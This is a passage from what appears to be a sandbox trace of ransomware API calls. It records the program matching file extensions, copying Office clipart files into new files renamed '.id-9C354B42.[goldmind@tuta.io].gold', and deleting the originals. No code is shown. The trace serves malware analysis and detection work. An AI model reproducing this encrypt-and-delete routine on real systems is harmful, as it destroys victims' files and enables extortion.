lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.662] lstrlenW (lpString=".docx") returned 5 [0094.662] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.662] lstrlenW (lpString=".pdf") returned 4 [0094.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.662] lstrlenW (lpString=".xls") returned 4 [0094.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.662] lstrlenW (lpString=".xlsx") returned 5 [0094.662] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.662] lstrlenW (lpString=".ppt") returned 4 [0094.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0094.662] lstrlenW (lpString=".zip") returned 4 [0094.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.662] lstrlenW (lpString=".rar") returned 4 [0094.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.662] lstrlenW (lpString=".bz2") returned 4 [0094.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.662] lstrlenW (lpString=".7z") returned 3 [0094.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0094.662] lstrlenW (lpString=".dbf") returned 4 [0094.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0094.663] lstrlenW (lpString=".1cd") returned 4 [0094.663] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0094.663] lstrlenW (lpString=".jpg") returned 4 [0094.663] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0094.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0094.663] lstrlenW (lpString=".doc") returned 4 [0094.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.663] lstrlenW (lpString=".docx") returned 5 [0094.663] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.663] lstrlenW (lpString=".pdf") returned 4 [0094.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.663] lstrlenW (lpString=".xls") returned 4 [0094.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.663] lstrlenW (lpString=".xlsx") returned 5 [0094.663] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.663] lstrlenW (lpString=".ppt") returned 4 [0094.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0094.663] lstrlenW (lpString=".zip") returned 4 [0094.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.663] lstrlenW (lpString=".rar") returned 4 [0094.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.663] lstrlenW (lpString=".bz2") returned 4 [0094.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.663] lstrlenW (lpString=".7z") returned 3 [0094.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0094.663] lstrlenW (lpString=".dbf") returned 4 [0094.663] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0094.663] lstrlenW (lpString=".1cd") returned 4 [0094.663] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0094.663] lstrlenW (lpString=".jpg") returned 4 [0094.663] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.663] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.663] lstrlenW (lpString="DD01366_.WMF") returned 12 [0094.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0095.134] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=1768) returned 1 [0095.134] CloseHandle (hObject=0x3a4) returned 1 [0095.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x20 [0095.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0095.319] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.319] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0095.319] GetLastError () returned 0x0 [0095.319] ReadFile (in: hFile=0x230, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x6e8, lpOverlapped=0x0) returned 1 [0095.370] WriteFile (in: hFile=0x3bc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x6f0, lpOverlapped=0x0) returned 1 [0095.370] ReadFile (in: hFile=0x230, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.370] WriteFile (in: hFile=0x3bc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.371] SetEndOfFile (hFile=0x3bc) returned 1 [0095.371] CloseHandle (hObject=0x3bc) returned 1 [0095.371] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.371] SetEndOfFile (hFile=0x230) returned 1 [0095.372] CloseHandle (hObject=0x230) returned 1 [0095.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.380] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf")) returned 1 [0095.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0095.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0095.406] lstrlenW (lpString=".doc") returned 4 [0095.406] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.406] lstrlenW (lpString=".docx") returned 5 [0095.407] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.407] lstrlenW (lpString=".pdf") returned 4 [0095.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.407] lstrlenW (lpString=".xls") returned 4 [0095.407] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.407] lstrlenW (lpString=".xlsx") returned 5 [0095.407] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.407] lstrlenW (lpString=".ppt") returned 4 [0095.407] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0095.407] lstrlenW (lpString=".zip") returned 4 [0095.407] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.407] lstrlenW (lpString=".rar") returned 4 [0095.407] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.407] lstrlenW (lpString=".bz2") returned 4 [0095.407] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.407] lstrlenW (lpString=".7z") returned 3 [0095.407] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0095.407] lstrlenW (lpString=".dbf") returned 4 [0095.407] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0095.407] lstrlenW (lpString=".1cd") returned 4 [0095.407] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0095.407] lstrlenW (lpString=".jpg") returned 4 [0095.407] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0095.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0095.407] lstrlenW (lpString=".doc") returned 4 [0095.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.407] lstrlenW (lpString=".docx") returned 5 [0095.407] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.407] lstrlenW (lpString=".pdf") returned 4 [0095.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.407] lstrlenW (lpString=".xls") returned 4 [0095.407] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.407] lstrlenW (lpString=".xlsx") returned 5 [0095.407] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.407] lstrlenW (lpString=".ppt") returned 4 [0095.407] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0095.407] lstrlenW (lpString=".zip") returned 4 [0095.407] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.407] lstrlenW (lpString=".rar") returned 4 [0095.407] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.407] lstrlenW (lpString=".bz2") returned 4 [0095.407] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.407] lstrlenW (lpString=".7z") returned 3 [0095.407] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0095.407] lstrlenW (lpString=".dbf") returned 4 [0095.408] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0095.408] lstrlenW (lpString=".1cd") returned 4 [0095.408] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0095.408] lstrlenW (lpString=".jpg") returned 4 [0095.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.408] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.408] lstrlenW (lpString="FD00086_.WMF") returned 12 [0095.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0095.408] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=29212) returned 1 [0095.408] CloseHandle (hObject=0x3bc) returned 1 [0095.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x20 [0095.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0095.409] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.409] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0095.409] GetLastError () returned 0x0 [0095.409] ReadFile (in: hFile=0x3bc, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x721c, lpOverlapped=0x0) returned 1 [0095.579] WriteFile (in: hFile=0x394, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x7220, lpOverlapped=0x0) returned 1 [0095.579] ReadFile (in: hFile=0x3bc, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.580] WriteFile (in: hFile=0x394, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.580] SetEndOfFile (hFile=0x394) returned 1 [0095.580] CloseHandle (hObject=0x394) returned 1 [0095.580] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.580] SetEndOfFile (hFile=0x3bc) returned 1 [0095.583] CloseHandle (hObject=0x3bc) returned 1 [0095.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf")) returned 1 [0095.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0095.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0095.584] lstrlenW (lpString=".doc") returned 4 [0095.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.584] lstrlenW (lpString=".docx") returned 5 [0095.584] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.584] lstrlenW (lpString=".pdf") returned 4 [0095.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.584] lstrlenW (lpString=".xls") returned 4 [0095.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.584] lstrlenW (lpString=".xlsx") returned 5 [0095.584] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.584] lstrlenW (lpString=".ppt") returned 4 [0095.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0095.584] lstrlenW (lpString=".zip") returned 4 [0095.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.584] lstrlenW (lpString=".rar") returned 4 [0095.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.584] lstrlenW (lpString=".bz2") returned 4 [0095.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.584] lstrlenW (lpString=".7z") returned 3 [0095.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0095.584] lstrlenW (lpString=".dbf") returned 4 [0095.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0095.584] lstrlenW (lpString=".1cd") returned 4 [0095.584] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0095.584] lstrlenW (lpString=".jpg") returned 4 [0095.584] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0095.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0095.584] lstrlenW (lpString=".doc") returned 4 [0095.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.584] lstrlenW (lpString=".docx") returned 5 [0095.584] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.584] lstrlenW (lpString=".pdf") returned 4 [0095.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.584] lstrlenW (lpString=".xls") returned 4 [0095.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.584] lstrlenW (lpString=".xlsx") returned 5 [0095.584] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.584] lstrlenW (lpString=".ppt") returned 4 [0095.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0095.584] lstrlenW (lpString=".zip") returned 4 [0095.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.584] lstrlenW (lpString=".rar") returned 4 [0095.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.585] lstrlenW (lpString=".bz2") returned 4 [0095.585] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.585] lstrlenW (lpString=".7z") returned 3 [0095.585] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0095.585] lstrlenW (lpString=".dbf") returned 4 [0095.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0095.585] lstrlenW (lpString=".1cd") returned 4 [0095.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0095.585] lstrlenW (lpString=".jpg") returned 4 [0095.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.585] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.585] lstrlenW (lpString="FD00096_.WMF") returned 12 [0095.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0095.585] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=37390) returned 1 [0095.585] CloseHandle (hObject=0x3bc) returned 1 [0095.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x20 [0095.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0095.587] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.587] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0095.587] GetLastError () returned 0x0 [0095.587] ReadFile (in: hFile=0x3bc, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x920e, lpOverlapped=0x0) returned 1 [0095.689] WriteFile (in: hFile=0x394, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x9210, lpOverlapped=0x0) returned 1 [0095.690] ReadFile (in: hFile=0x3bc, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.690] WriteFile (in: hFile=0x394, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.691] SetEndOfFile (hFile=0x394) returned 1 [0095.691] CloseHandle (hObject=0x394) returned 1 [0095.691] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.691] SetEndOfFile (hFile=0x3bc) returned 1 [0095.693] CloseHandle (hObject=0x3bc) returned 1 [0095.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.740] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf")) returned 1 [0095.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0095.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0095.741] lstrlenW (lpString=".doc") returned 4 [0095.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.741] lstrlenW (lpString=".docx") returned 5 [0095.741] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.741] lstrlenW (lpString=".pdf") returned 4 [0095.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.742] lstrlenW (lpString=".xls") returned 4 [0095.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.742] lstrlenW (lpString=".xlsx") returned 5 [0095.742] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.742] lstrlenW (lpString=".ppt") returned 4 [0095.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.742] lstrlenW 